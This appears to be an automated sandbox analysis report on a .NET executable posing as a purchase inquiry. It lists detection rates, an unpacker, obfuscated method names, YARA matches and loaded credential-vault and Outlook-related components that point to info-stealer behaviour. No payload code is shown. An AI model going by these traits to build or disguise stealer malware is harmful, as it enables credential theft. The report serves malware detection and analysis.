File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase Inquiry_#466789.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Mutant created: \Sessions\1\BaseNamedObjects\FDD42EE188E931437F4FBE2C
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Mutant created: NULL

Source: Purchase Inquiry_#466789.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Purchase Inquiry_#466789.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Purchase Inquiry_#466789.exe	ReversingLabs: Detection: 71%
Source: Purchase Inquiry_#466789.exe	Virustotal: Detection: 43%

Source: unknown	Process created: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe "C:\Users\user\Desktop\Purchase Inquiry_#466789.exe"
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process created: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe "C:\Users\user\Desktop\Purchase Inquiry_#466789.exe"
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process created: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe "C:\Users\user\Desktop\Purchase Inquiry_#466789.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: Purchase Inquiry_#466789.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Purchase Inquiry_#466789.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: Purchase Inquiry_#466789.exe, GameOfLife.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: Purchase Inquiry_#466789.exe, GameOfLife.cs	.Net Code: InitializeComponent contains xor as well as GetObject
Source: 0.2.Purchase Inquiry_#466789.exe.5560000.9.raw.unpack, LoginForm.cs	.Net Code: _206B_206C_202A_202D_206F_206F_206C_202D_206A_202A_200B_206C_206E_206A_206D_206B_202C_206E_200C_206F_200D_206D_200C_200F_202C_206C_202E_206B_202B_202E_206E_206B_206B_206D_206C_202C_200D_202E_202C_200E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, OoLUaOdU4hOfgrkdvf.cs	.Net Code: UJcxTPXvYDR8bgxvGkm System.Reflection.Assembly.Load(byte[])

Yara detected aPLib compressed binary

Source: Yara match	File source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244, type: MEMORYSTR

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_05905B08 push esp; ret	0_2_05905B09
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 2_2_00402AC0 push eax; ret	2_2_00402AD4
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 2_2_00402AC0 push eax; ret	2_2_00402AFC

Source: Purchase Inquiry_#466789.exe

Static PE information: section name: .text entropy: 7.973562930298665

Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, OLFvd2ig8Hgk5m8cI7.cs	High entropy of concatenated method names: 'fOs1BX6XBu', 'nEm1g0AFSf', 'owB1Fc7xO6', 'R6n1E7aDAW', 'kqc1PNN84U', 'aZx1INBVsd', 'xJF1DKROYO', 'HNN1Jxb2kC', 'LfK1ULlB6l', 'gtI1N6kwx4'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, l6mOBIJ4xxrLHxvdQO.cs	High entropy of concatenated method names: 'wnMruPd9KQ', 'Hy6r1Kfyer', 'dJBra9MJod', 'OnIr6tUmK8', 'OMGrxI3Sqt', 'mDir7m5dhq', 'My6rdtIRyB', 'K4brYZXII9', 'wudrjFx847', 'ooxrncdtcg'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, EBb6qXXWSJFaYcO6I5.cs	High entropy of concatenated method names: 'UeVZ7LFvd2', 'R8HZdgk5m8', 'fknZj4Iisw', 'z9LZnjPK1r', 'm3HZ5uJoVk', 'WaOZTsT4gD', 'ktOQGXrodfbtBcdVfr', 'hNLLs95KV02Te2Qecv', 'PNhZZwAQYe', 'zFKZhiPpZj'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, EmoVC31Qqtw3RWZblJ.cs	High entropy of concatenated method names: 'Dispose', 'Hy1ZU7Y085', 'MVSMH20PpR', 'X4DbbjGF0X', 'RY6ZNmOBI4', 'ixrZzLHxvd', 'ProcessDialogKey', 'LOtM2UXXFH', 'Td9MZTSZbT', 'MOfMM0hRck'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, yZ2WylaYVyLvdkB0nK.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ouIMUpiwcl', 'upWMNOILBN', 'Y8QMzw5XbK', 'NeTh2HJ26g', 'pnChZI48jx', 'UdohMXA0TJ', 'BvMhh1dZVW', 'onE4bLXjyKkEq1GoYS7'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, eVkDaOGsT4gDghabE5.cs	High entropy of concatenated method names: 'nW3xoD7U8e', 'W3ox1WEiHG', 'ymqx6kdX6W', 'B6nx7Vohw3', 'W18xdyCpR1', 'QWv6PrteuR', 'GG46ID8fRG', 'w7u6Dlf1i9', 'qUr6JXGM7O', 'yl06UEudA5'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, wUXXFHUEd9TSZbTpOf.cs	High entropy of concatenated method names: 'kStrGhLQih', 'pR8rHshxlN', 'vKdrC5m5yQ', 'TM9r9LJ5SS', 'sL4rB3jxX3', 'Jnur3ZPuLL', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, nSVQv8ZhCKGKtFNFmKl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fiJvBCaght', 'YvIvgEgBys', 'fVbvFsRkMD', 'UScvElkMfq', 'sNKvPmFRTi', 'SjvvInNR38', 'UtUvDjHMq5'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, gw0cUvRmauVJAXiIaS.cs	High entropy of concatenated method names: 'lH4Ai8914T', 'Gb2ASl4BfC', 'eBBAGVJIAe', 'NxTAH2AfXn', 'MdlA9Aweml', 'SMSA3y1qK8', 'W7FAQMklk9', 'dmIAwVgVCj', 'vaxAsDB81e', 'xlkAVRGDes'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, bNwtACpOM0sUdZ5Ln8.cs	High entropy of concatenated method names: 'Q0e7ybITUI', 'DNE7W591td', 'OrE709xu2U', 'jHr7mXBBao', 'kBF74ntLkr', 'fxO7lBZHwX', 'KRf7LAVgYD', 'WUF7imp13I', 'e7p7Sg1mHN', 'LRW7qUjGR0'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, j2th5uSkn4Iisw09Lj.cs	High entropy of concatenated method names: 'FeIamr0rDG', 'S4kalGmnbO', 'zdMaiG706n', 'ALwaSKRe7H', 'QVka5l6Je3', 'i3yaTDERfM', 'PnLakK1a9q', 'Dj6arMrN3x', 'NdKacKlk4L', 'tAWavuf0bF'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, UK1rUwqLTKnuLj3HuJ.cs	High entropy of concatenated method names: 'uAc643O9cl', 'aWL6L0ZqT5', 'L6baCcYoJY', 'hXFa9eOvEk', 'Mema31AMFV', 'qhXafRuJjF', 'G91aQd4FBC', 'mvcaweP2G5', 'jgTapVZtif', 'tNDasiJmvv'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, CaFGxrQY3AuEw44ZUA.cs	High entropy of concatenated method names: 'VoC7u9yqnt', 'L2x7aZ6Wv6', 'wxu7x8HS4h', 'rWCxN0ZPdq', 'uidxzFYE2y', 'p0l72kARYr', 'qJU7Z9UsP7', 'LXw7MYim5P', 'i6Y7hrSHnX', 'qBt7Xs2wI0'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, zhRckwNhMqUD30Ne1A.cs	High entropy of concatenated method names: 'WG6cZ8ta21', 'jPjch6rkF6', 'FWicXBgcd3', 'XVpcu4cvYh', 'gFtc16t0KB', 'aStc6KLERf', 'PwWcx2QCpF', 'tChrDGEEqB', 'kwgrJSfPYh', 'SKNrUW5cF8'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, uaUDLh9dnlLL11tqCA.cs	High entropy of concatenated method names: 'n6Txt5hYKc', 'BKSxyqqdc1', 'v7Cx0QqUpe', 'qwwxmPMH9a', 'YhVxlUxv1J', 'EXixLdyIpB', 'zekxSbbYKD', 'opGxqTyHjF', 'LVXMRZCfKutBKFK2W9S', 'NNmpTSC69CNiHQJmL4o'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, BZTdQCIyn5YGQLtgEW.cs	High entropy of concatenated method names: 'bKpkJuedZC', 'rOYkNZfrgA', 'WQTr2Vkn8J', 'VlOrZIaGMr', 'K1okVdOets', 'VMGkKM8JHT', 'XWUkRh7pJq', 'ttRkBh8qOE', 'wufkgiT79F', 'TeQkF7BIkC'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, v8uMxozMvWXVJucrE1.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'SELcAhWyVY', 'PItc5uABKX', 'EoucT2J89q', 'U0HckPpcLh', 'aVncr7U6On', 'vG8ccktWsm', 'ylkcvWHu5a'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, QnA6VFMKM1TmhpPpLW.cs	High entropy of concatenated method names: 'Vnn0S5B1E', 'FatmdoPdS', 'cJ4lxsUGX', 'twSLNt2p4', 'HJ5SB8KDU', 'gBoqVSE1i', 'JJ6VIv42FO352A9EIP', 'vNVIP0iPT1oMNpALiD', 'x2BrmwNe3', 'Wgyvw6eXS'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, HeB1C8Z2hPyiUZn55Nq.cs	High entropy of concatenated method names: 'mVAcyAsW2R', 'MW9cWPlClY', 'eGnc0tTFe9', 'QrdcmH67Xr', 'Jpxc45PDca', 'hA1clVuQBq', 'EFIcL3Eb14', 'qxgciyn6GS', 'gPncScWnf8', 'vBGcqOfgWq'
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, OoLUaOdU4hOfgrkdvf.cs	High entropy of concatenated method names: 'lkOhokVqxM', 'PwChuowwMD', 'epLh1WapYR', 'xYUhah7tBH', 'OFgh65oS7M', 'hFRhxgdpZa', 'guKh7ZkaBw', 'H7chdsR25i', 'FZThY2vfeq', 'cemhjBl5tu'

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
